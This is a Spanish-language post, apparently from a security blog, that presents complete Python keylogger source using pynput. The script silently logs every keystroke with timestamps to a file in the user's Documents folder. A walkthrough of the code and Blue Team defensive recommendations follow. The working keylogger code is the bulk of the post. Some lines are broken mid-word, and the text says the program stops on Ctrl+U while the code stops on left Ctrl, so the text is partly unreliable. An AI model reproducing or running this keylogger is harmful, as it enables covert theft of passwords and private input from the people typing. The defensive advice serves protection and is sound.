Keylogger en Python

```
from pynput.keyboard import Key, Listener
import os
from datetime import datetime

# Obtener la ruta de la carpeta Documentos del usuario actu
al
documents_path = os.path.join(os.path.expanduser('~'), 'Doc
uments', 'keylog.txt')

# Inicializar un buffer para almacenar las teclas
key_buffer = []

# Función que registra cada tecla pulsada
def on_press(key):
    global key_buffer

    if key == Key.enter:
        # Obtener la hora actual
        current_time = datetime.now().strftime('%Y-%m-%d %
H:%M:%S')
        # Al presionar Enter, guardar el buffer con una mar
ca de tiempo
        with open(documents_path, "a") as f:
            f.write(f"[{current_time}] " + ''.join(key_buff
er) + '\n')
        key_buffer = []  # Vaciar el buffer después de guar
dar el contenido
    elif key == Key.space:
        key_buffer.append(' ')  # Agregar un espacio al buf
fer
    elif key == Key.backspace:
        if key_buffer:
            key_buffer.pop()  # Eliminar el último carácter
si se presiona 'Borrar'
```

```
    elif hasattr(key, 'char') and key.char is not None:
        key_buffer.append(key.char)  # Agregar caracteres a
l buffer
    elif key == Key.ctrl_l:
        # Obtener la hora actual antes de detener el progra
ma
        current_time = datetime.now().strftime('%Y-%m-%d %
H:%M:%S')
        # Si el buffer tiene contenido, guardarlo antes de
detener el listener
        if key_buffer:
            with open(documents_path, "a") as f:
                f.write(f"[{current_time}] " + ''.join(key_
buffer) + '\n')
        return False  # Detener el listener cuando se presi
ona 'Ctrl + U'

# Función para iniciar la captura de teclas
def start_keylogger():
    with Listener(on_press=on_press) as listener:
        listener.join()

if __name__ == "__main__":
    start_keylogger()
```

Explicación del Código:

Este código es un keylogger en Python que registra todas las pulsaciones del teclado y las guarda en un archivo de texto en la carpeta de Documentos del usuario. A continuación, se explica cómo funciona cada parte del script:

1. **Librerías utilizadas**: Se utilizan pynput para capturar las pulsaciones del teclado, os para obtener la ruta de Documentos, y datetime para registrar las marcas de tiempo.
2. **Buffer para teclas**: Las pulsaciones se almacenan en un buffer hasta que se presiona Enter. Esto permite que las teclas se guarden como una línea completa de texto en el archivo keylog.txt.

3. **Manejo de teclas especiales**: El programa detecta cuando se presionan teclas como Espacio, Borrar o Enter. En el caso de Backspace, el último carácter se elimina del buffer.
4. **Detener el programa**: El programa se detiene cuando se presiona Ctrl + U. Antes de finalizar, se guarda cualquier texto pendiente que esté en el buffer.

Recomendaciones del Blue Team:

1. **Monitoreo y Detección**: Implementar soluciones de monitoreo que detecten el uso de herramientas de captura de teclas no autorizadas, como keyloggers, mediante el uso de software de detección de malware avanzado.
2. **Seguridad de Endpoint**: Asegurar que todos los dispositivos tengan actualizaciones de seguridad aplicadas y soluciones antimalware activas. El uso de Microsoft Defender o soluciones similares puede detectar actividades sospechosas en tiempo real.
3. **Seguridad de la Red**: Configurar firewalls y sistemas de prevención de intrusiones (IPS) para identificar tráfico sospechoso o no autorizado, como la transmisión de datos capturados por keyloggers a servidores externos.
4. **Educación de Usuarios**: Entrenar a los empleados y usuarios sobre los riesgos de keyloggers y cómo identificar comportamientos sospechosos o phishing, que podría ser la vía de entrada para este tipo de herramientas maliciosas.
5. **Autenticación Multifactor**: Implementar autenticación multifactor (MFA) para reducir el impacto de un keylogger que haya capturado credenciales, ya que el segundo factor de autenticación protegerá las cuentas.